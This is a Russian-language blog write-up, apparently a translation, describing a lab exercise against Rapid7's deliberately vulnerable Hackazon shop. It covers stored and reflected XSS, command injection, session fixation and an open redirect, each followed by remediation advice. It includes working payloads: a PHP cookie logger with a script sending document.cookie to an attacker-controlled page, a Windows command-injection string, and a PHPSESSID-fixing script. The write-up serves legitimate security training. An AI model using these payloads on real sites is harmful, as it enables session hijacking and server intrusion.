Поиск и эксплуатация уязвимостей в приложении Hackazon.

Всем привет! Раз уж вы здесь, позвольте представиться. Меня зовут Кэрил, и в настоящее время я являюсь младшим аналитиком по безопасности в ISE, и последние пару недель я работал над различными проблемами уязвимых веб-приложений, чтобы проверить и улучшить свои хакерские навыки. Одна из задач веб-приложений, которые я тестировал, — Хаказон. Hackazon — это проект с открытым исходным кодом, разработанный Rapid7, который включает в себя практичный веб-сайт электронной коммерции. В отличие от других задач веб-приложений (например, bWAPP и DVWA), он построен с использованием тех же технологий, которые используются в современных веб-приложениях и мобильных приложениях, включая AJAX и RESTful API. Основная цель Hackazon — предоставить учебную площадку для студентов, специалистов по безопасности и всех, кто интересуется безопасностью, чтобы они могли тестировать и улучшать свои навыки, чтобы лучше понять процесс тестирования и защиты веб-приложений». Хаказон охватывает наиболее распространенные веб-уязвимости, включая межсайтовый скриптинг и уязвимости фиксации сеанса.

В этом блоге я расскажу о некоторых уязвимостях, которые я нашел в рамках Хаказона, о своей методологии обнаружения и о том, как их использовать.

Веселая часть

В этом разделе я подробно расскажу о том, как я обнаружил уязвимости, как я их использовал и что могли сделать веб-приложения для предотвращения атак, описанных в последующих разделах.

Инструменты

Ручные инструменты, используемые для обнаружения уязвимостей, включают:

Мой подход

Моделирование угроз — это процесс выявления потенциальных угроз безопасности, которые могут быть связаны с приложением. Первым шагом в процессе моделирования угроз является создание карты сайта, что влечет за собой перечисление всех конечных точек приложения и его функций. Это важно для понимания того, как используется приложение, и определения конечных точек, где потенциальный злоумышленник может взаимодействовать с приложением. Некоторые из ключевых функций, на которые следует обратить внимание, — это поля ввода, которые принимают предоставленные пользователем данные, функции загрузки файлов и процесс аутентификации и авторизации приложения. Следующий раздел посвящен тому, как я использовал моделирование угроз для выявления и использования уязвимостей в Hackazon.

Уязвимости

Отказ от ответственности: приведенный ниже список уязвимостей не включает все уязвимости в Hackazon, но представляет несколько распространенных уязвимостей в современных веб-приложениях.

Неправильная обработка ввода и кодирование вывода

В процессе моделирования угроз я обнаружил, что различные конечные точки Hackazon принимают введенные пользователем данные. Например, у пользователей есть возможность искать товары с помощью панели поиска.

Одной из наиболее распространенных слабых сторон безопасности веб-приложений является неспособность должным образом проверить предоставленные пользователем данные, поступающие от клиента, перед их использованием для выполнения определенных задач в приложении. Поэтому важно определить, как приложение обрабатывает и использует пользовательский ввод внутри приложения. Проверяет ли приложение входные данные, поступающие от клиента? Или приложение реализует кодировку вывода? Если веб-приложения не выполняют очистку ввода и кодирование вывода, какие типы атак злоумышленник может запустить против приложения?

Межсайтовый скриптинг (XSS)

Межсайтовый скриптинг (XSS) — это атака с внедрением кода на стороне клиента, которая позволяет злоумышленнику выполнять вредоносные скрипты в безопасных и надежных веб-приложениях. Основная проблема, из-за которой приложения подвержены этой уязвимости, заключается в отсутствии надлежащей обработки данных, предоставляемых пользователем (например, проверки и очистки ввода и кодирования вывода). Если приложение не может правильно обрабатывать предоставленные пользователем данные, злоумышленник может ввести произвольный вредоносный код для атаки на систему (SQLi) или ее пользователей (XSS). В этом разделе я расскажу о двух типах XSS, постоянном и отраженном, и о том, как их можно использовать для потенциального получения несанкционированного доступа к Hackazon.

Постоянный XSS

Постоянный XSS возникает, когда приложению не удается проверить и дезинфицировать пользовательский ввод, а ввод сохраняется на целевом сервере. Каждый раз, когда пользователь получает доступ к сохраненным данным, вредоносный код обрабатывается сервером и отправляется обратно в браузер пользователя. Постоянный XSS присутствует в функциях загрузки файлов Hackazon и в различных полях ввода.

Постоянный XSS через загрузку файлов

На этапе моделирования угроз я заметил, что в приложении есть функция, позволяющая пользователям загружать произвольные файлы. При оценке веб-приложения неограниченная загрузка файлов создает угрозу безопасности приложений в зависимости от варианта использования функции загрузки файлов веб-приложения.

Чтобы проверить это, я загрузил различные типы файлов, включая файлы HTML, SVG и PHP, и заметил, что приложение не ограничивает тип файла, который может загрузить пользователь.

Итак, я загрузил HTML-файл, содержащий следующий код:

<html>
 <script>
 alert(document.cookie);
 </script>
</html>

Поскольку приложение Hackazon не ограничивает загрузку файлов, я смог загрузить этот HTML-файл для успешного выполнения атаки XSS. Важно отметить, что заголовок Content-Disposition: inline также должен присутствовать для успешного выполнения атаки XSS. Этот заголовок обеспечивает отображение контента на веб-странице, когда пользователь пытается получить доступ к файлу. На рис. 3 показано окно предупреждения со значением файла cookie текущего сеанса.

Как видите, я смог загрузить файл HTML, содержащий вредоносный код JavaScript, чтобы отобразить окно предупреждения со значением cookie текущего сеанса из-за отсутствия у Hackazon надлежащей кодировки вывода и использования заголовка Content-Disposition: inline. Важно понимать, что когда файл HTML с вредоносным кодом JavaScript загружается в качестве изображения аватара, приложение выполняет полезную нагрузку, но результат скрыт от браузера. Окно предупреждения со значением файла cookie текущего сеанса отображается только тогда, когда пользователь отправляет запрос на URL-адрес файла, аналогичный приведенному ниже.

localhost/user_pictures/bc/xss.html

Отсутствие в Hackazon функции ограничения загрузки файлов также может быть использовано злоумышленниками для создания законно выглядящего мошеннического веб-сайта Hackazon, который содержит код для кражи учетных данных пользователя. Важно отметить, что жертва должна предпринять определенные действия после того, как злоумышленник с помощью социальной инженерии заставит пользователя получить доступ к вредоносному веб-сайту. Однако успешная атака может нанести большой ущерб, поскольку она может подорвать доверие пользователей к приложению и привести к подрыву средств контроля доступа путем кражи учетных данных для получения несанкционированного доступа к приложению. Эта уязвимость также может быть использована злоумышленником для загрузки вредоносных файлов, в том числе вредоносных программ и сценариев оболочки, которые могут использоваться для выполнения различных задач на веб-сервере (например, для манипулирования файлами).

Постоянный XSS через поля ввода

Ранее я упоминал, как важно определить, какие части приложения принимают пользовательский ввод и правильно ли приложение обрабатывает пользовательский ввод. Я проверил это, отправив различные полезные данные XSS во все части приложения, которые принимают пользовательский ввод, чтобы выяснить, реализует ли Hackazon проверку ввода и очистку. Первой полезной нагрузкой, которую я использовал, был «скрипт» alert(document.cookie) ‹/script› в качестве заголовка запроса. Затем я проанализировал сетевой трафик Hackazon с помощью Burp Suite и обнаружил, что Hackazon избегает второго тега ‹script›, который объясняет, почему приложение не отображает окно предупреждения с файлом cookie текущего сеанса. Поскольку Hackazon экранировал теги ‹script›, я использовал полезную нагрузку XSS без тегов ‹script› в качестве заголовка запроса.

 <img src=xss onerror=alert(document.cookie)>

На изображении ниже показано, как Hackazon обрабатывал и отправлял недезинфицированный пользовательский ввод обратно в браузер пользователя. Я проделал тот же процесс для других текстовых полей и обнаружил, что мы можем предоставить строку вида ‹img src=xss onerror=alert(document.cookie)›, чтобы обойти очистку ввода Hackazon для следующих текстовых полей:

  • Название запроса
  • Описание запроса
  • Название списка желаний
  • Поле вопроса в FAQ
  • Адресная строка 1 адреса доставки
  • Имя пользователя

Отраженный XSS

Отраженный XSS возникает, когда пользовательский ввод немедленно отображается веб-приложением в той или иной форме ответа (например, через результаты поиска или сообщение об ошибке). Отсутствие нейтрализации поисковых запросов и пользовательские данные, возвращаемые в сообщениях об ошибках, вероятно, являются причиной отраженного XSS в веб-приложениях.

На этапе моделирования угроз я определил все конечные точки, которые принимают пользовательский ввод. Поскольку очень важно определить, выполняет ли приложение очистку ввода для каждой конечной точки, я использовал различные полезные нагрузки XSS для каждого поля ввода, чтобы проанализировать рабочий процесс очистки ввода Hackazon. Первая полезная нагрузка, которую я использовал, была ‹script›alert(“xss”)‹/script› в качестве условия поиска. На рис. 5 показано, как Hackazon обработал вредоносный код и отправил его обратно в браузер пользователя.

Поскольку я знаю, что эта конечная точка уязвима для межсайтового скриптинга, я хотел заставить ее делать что-то более полезное, например, воровать куки. Во-первых, я создал файлsteal.php, который в основном служил «контролируемой злоумышленниками» веб-страницей.

<?php
 $c = ‘’; 
 if( isset( $_GET[‘c’])) {
 $c = $_GET[‘c’]; 
 } 
 $cookies = $c;
 $file = fopen(‘log.txt’, ‘a’);
 fwrite($file, $cookies . “\n\n”); 
?>

В строке 4 приведенного выше кода файл cookie, включенный в URL-адрес, назначается переменной $c. Строка 7 определяет файл, в котором будут сохранены файлы cookie. Строка 8 использует переменные $file и $cookies для записи значений файлов cookie в файл журнала.

Файл Steal.php был размещен локально с использованием модуля тестового сервера PHP. Например, я использовал приведенную ниже команду для запуска веб-сервера php на порту 8888, используя текущий рабочий каталог, содержащий файлsteal.php.

php -S 127.0.0.1:8888

Вторым шагом было создание полезной нагрузки, которую я мог использовать для передачи файла cookie сеанса Hackazon на мою «контролируемую злоумышленниками» веб-страницу. Я использовал приведенный ниже код JavaScript в качестве поискового запроса, чтобы украсть файл cookie сеанса пользователя Hackazon.

<script> document.location=’http://127.0.0.1:8888/steal.php?c='+document.cookie; </script>

Поскольку это отраженная XSS-атака, злоумышленнику придется побудить жертв щелкнуть ссылку в реальном сценарии. После того, как я использовал приведенную выше полезную нагрузку в качестве поискового запроса, журнал сервера PHP отобразил текущий файл cookie сеанса в качестве аргумента, переданного на контролируемую злоумышленником веб-страницу. Важно отметить, что эта атака также будет работать для любой из конечных точек, уязвимых для постоянной атаки XSS.

Файл cookie сеанса также был добавлен в файл log.txt, что означает, что я успешно украл файлы cookie с помощью отраженного XSS!

Внедрение команд

Внедрение команд — это атака, которая позволяет злоумышленнику выполнять произвольные команды в операционной системе хоста через уязвимое веб-приложение. Эта атака возможна из-за недостаточной проверки и очистки ввода, что позволяет приложению передавать введенные пользователем данные в системную оболочку.

Поскольку уязвимости, связанные с внедрением команд, вызваны недостаточной проверкой и очисткой входных данных, я сосредоточился на определении того, какие части приложения принимают вводимые пользователем данные на этапе моделирования угроз. В дополнение к выявлению уязвимых точек внедрения полезно знать, что представляет собой целевая ОС, поскольку полезная нагрузка внедрения команд должна быть совместима с синтаксисом командной строки ОС. Для этого может быть полезно просмотреть заголовки HTTP через Burp Suite. Многие веб-серверы по умолчанию добавляют заголовок Server, который обычно включает имя сервера и его версию, а также может включать имя и версию операционной системы. На рис. 6 показаны заголовки HTTP, раскрывающие имя и версию сервера Hackazon, а также платформу, в которой он работает.

Как видите, Hackazon использует Apache в качестве своего веб-сервера, работающего под управлением ОС Windows. Из заголовков также видно, что Hackazon написан на PHP. Получив эту информацию, я решил провести некоторое исследование о том, как найти уязвимости внедрения команд в PHP, и обнаружил, что добавление точки с запятой или амперсанда в конец URL-адреса для страницы PHP, за которой следует команда операционной системы, может выполнить команду. Итак, я просмотрел приложение для выявления уязвимых точек инъекций и наткнулся на страницу «Мои документы».

Как правило, при просмотре файла в веб-приложении имя файла включается в качестве параметра GET URL. Например, я смог получить доступ к файлам в Hackazon, перейдя в /localhost/accounts/documents. На изображении ниже показана страница документа доставки.

Основываясь на полученной информации, я знаю, что можно было бы выполнять системные команды, добавляя точку с запятой в конце URL-адреса для страницы PHP. Но почему точка с запятой? В системах на основе Unix в качестве разделителя команд используется точка с запятой. Я знаю, что веб-сервер работает в ОС Windows, поэтому я быстро поискал в Google разделитель команд для Windows. Я обнаружил, что разделителем команд для Windows является «&» (% 26 при кодировании URL). Используя эту информацию, я попытался придумать полезную нагрузку, которую я могу использовать для запуска атаки с внедрением команд.

Я проверил это, перейдя на страницу «Мои документы» Hackazon и добавив %26 dir c:\. в конце URL-адреса. Команда dir выводит содержимое указанного каталога (c:/).

Как видите, мне удалось запустить успешную атаку с внедрением команд, потому что серверная часть передала введенную пользователем команду ОС интерпретатору командной строки. Затем интерпретатор выполнил команду, и серверная часть отправила результаты этой команды обратно в браузер пользователя, что объясняет, почему я могу видеть содержимое каталога «c:/» в браузере.

Важно отметить, что список точек внедрения в этом посте не включает все уязвимые точки внедрения в Hackazon. Однако он показывает, как отсутствие надлежащей проверки и очистки данных, а также кодирования вывода потенциально может привести к выполнению произвольного кода в браузерах пользователей.

Исправление

Чтобы предотвратить уязвимости XSS, Hackazon должен проверять и дезинфицировать предоставленные пользователями данные на всех конечных точках. Например, если серверная часть ожидает числовое значение, Hackazon может использовать регулярные выражения или встроенные функции платформы, чтобы гарантировать, что данные, предоставляемые пользователем, являются числовым значением и не содержат никаких специальных символов (например, ‹, / или ›).

Hackazon также должен кодировать все предоставленные пользователями данные на выходе, вместо того, чтобы полагаться только на проверку ввода и очистку. Правильное кодирование выходных данных гарантирует, что ненадежные данные, отправленные с сервера клиенту, будут отображаться как данные без выполнения. OWASP рекомендует кодировать недостоверные данные в соответствии с контекстом (например, JavaScript, HTML). Например, при вставке ненадежного ввода в контекст элемента HTML избегайте ввода, заменяя &, ‹, ›, «, ‘ и / на , , , , ' и / соответственно.

Фиксация сеанса

Управление сессиями — один из основных компонентов любого веб-приложения. Управление сеансом относится к механизму, с помощью которого приложение контролирует и поддерживает состояние пользователя, взаимодействующего с ним. HTTP — это протокол без сохранения состояния, что означает «веб-серверы отвечают на запросы клиентов, не связывая их друг с другом. Некоторые приложения требуют, чтобы несколько запросов пользователя были связаны друг с другом в течение сеанса. В результате большинство приложений используют маркер идентификации, часто называемый идентификатором сеанса для управления сеансом.

Идентификатор сеанса — это уникальный идентификатор, который сервер назначает конкретному пользователю на время сеанса этого пользователя. Идентификатор сеанса обычно выдается пользователю при первом посещении приложения. Идентификаторы сеанса обычно недолговечны (или, по крайней мере, должны быть) и могут стать недействительными после выполнения определенного условия (например, срок действия идентификатора сеанса истекает после заданного времени бездействия при выходе пользователя из системы). Поскольку идентификатор сеанса обычно используется для идентификации аутентифицированного пользователя в приложении, идентификаторы сеанса могут использоваться злоумышленником для потенциального перехвата сеанса и получения несанкционированного доступа к приложению.

Это подчеркивает важность понимания рабочего процесса аутентификации и авторизации Hackazon на этапе моделирования угроз для определения точек входа, которые злоумышленник может использовать для взаимодействия с приложением. Чтобы проверить это, я проанализировал взаимодействие Hackazon между клиентом и сервером, используя инструменты разработчика Burp Suite и Firefox, чтобы выяснить, когда и как Hackazon выдает идентификаторы сеансов пользователям. Сначала я перешел на домашнюю страницу Hackazon. На рис. 9 показан ответ на запрос GET, который был отправлен, когда я зашел на домашнюю страницу Hackazon.

Как видите, Hackazon выдает идентификатор сеанса после того, как я зашел на домашнюю страницу приложения. Обычно приложения выдают новый идентификатор сеанса после того, как пользователь входит в систему. Чтобы убедиться в этом, я вошел в Hackazon и обнаружил, что приложение не выдает новый идентификатор сеанса после моей аутентификации.

Таким образом, Hackazon уязвим для атаки с фиксацией сеанса, когда злоумышленник может контролировать токен сеанса пользователя после входа в систему. Основная проблема этой уязвимости заключается в том, что приложение не выдает новый идентификатор сеанса при аутентификации пользователя. Это позволяет злоумышленнику получить несанкционированный доступ к законному сеансу другого пользователя. Поскольку я знаю, что могу выполнять произвольный код в приложении (поскольку Hackazon уязвим для XSS), я могу использовать следующий код для установки файла cookie сеанса в приложении Hackazon и его поддоменах.

<script>document.cookie=”PHPSESSID=0000;domain=localhost;path=/”</script>

Итак, я посмотрел на уязвимые точки внедрения из предыдущего раздела и попытался определить, какие из них не отфильтровывают теги ‹script›. Я обнаружил, что в поле вопроса на странице часто задаваемых вопросов не удаляются теги ‹script›. Используя эту информацию, я решил внедрить вредоносный скрипт в запись FAQ. Позже, когда жертва перейдет на страницу часто задаваемых вопросов, приложение Hackazon свяжет новую сессию с идентификатором «0000». Поскольку теперь пользователь вошел в систему с известным нам идентификатором сеанса, теперь мы можем выполнять удаленные действия от имени пользователя.

Исправление

Hackazon должен выдать пользователю новый файл cookie сеанса после аутентификации. Сеанс, в котором выполнен вход, должен быть связан только с вновь выданным идентификатором сеанса, чтобы снизить риск злоумышленников, выполняющих атаку с фиксацией сеанса.

Произвольное перенаправление URL

Перенаправление URL — это функция веб-сервера, которая перенаправляет пользователя с одного URL-адреса на другой. Перенаправление URL делается по разным причинам: для сокращения URL; для предотвращения битых ссылок при перемещении страниц на другой домен; для навигации по сайту и выхода из него и т. д.. Как правило, перенаправления строятся на основе пользовательского ввода. Из предыдущих разделов мы уже видели, что приложения должны правильно обрабатывать вводимые пользователем данные. Без надлежащей проверки и очистки ввода могут возникать непроверенные перенаправления, когда приложение принимает ненадежный ввод, что дает злоумышленнику возможность перенаправить пользователя на ненадежный сайт, когда пользователь посещает ссылку, расположенную на надежном веб-сайте.

На этапе моделирования угроз я проверил наличие непроверенных перенаправлений с помощью Burp Suite, чтобы определить все конечные точки в Hackazon, которые генерируют перенаправления. В Burp Suite вы можете фильтровать запросы на основе кодов состояния ответа HTTP. Код состояния ответа HTTP 302 Found является распространенным способом выполнения перенаправления URL.

Кроме того, я проанализировал, какие параметры использовались для генерации редиректов. На рисунке 12 выше показано, что страница входа позволяет return_url parameter отправлять пользователей в указанное место, когда они отправляют форму или отменяют действие. Итак, что, если я установлю значение параметра return_url в какой-то произвольный домен?

Когда я вошел в систему, был отправлен запрос POST на http://localhost/user/login?return_url=. Я заменил значение return_url на https://blog.securityevaluators.com.

Когда я представил свои учетные данные, приложение перенаправило меня на https://blog.securityevaluators.com, что означает, что когда пользователь входит в систему, он будет перенаправлен на URL-адрес, указанный в параметре return_url.

Приведенное выше непроверенное перенаправление подтверждает, что ни клиент, ни сервер не гарантируют, что значение параметра return_url указывает на допустимое местоположение домена Hackazon. Эта уязвимость может использоваться для того, чтобы законные пользователи посещали вредоносные сайты, не осознавая этого. В частности, мы могли бы создать веб-сайт, выглядящий как законный, и использовать URL-адрес вредоносного сайта в качестве значения параметра return_url для выполнения фишинговой атаки и возможной кражи учетных данных пользователя.

Исправление

Хаказон должен проверять и дезинфицировать значение параметра return_url как на клиенте, так и на сервере, прежде чем отправлять пользователей в это место. Например, Hackazon может создать заранее определенный белый список, содержащий допустимые домены, связанные с приложением Hackazon.

Вывод

Это пока все! Эта задача веб-приложений стала отличным обучающим опытом, который показал, какие типы уязвимостей могут существовать в веб-приложениях и как их использовать. Я надеюсь, что этот пост был полезен, и если у вас есть какие-либо вопросы или комментарии, или если вы знаете какое-либо хорошее веб-приложение или задачи CTF, не стесняйтесь публиковать их ниже! Оставайтесь с нами, чтобы узнать о других задачах веб-приложений и статьях CTF.

Карил Гапулан, младший аналитик по безопасности в Независимые оценщики безопасности

Твиттер: @ISESecurity

Подпишитесь, чтобы получать наши последние блоги.

Спасибо Дрю Бранчу, Рику Рэмгатти и Эуитни.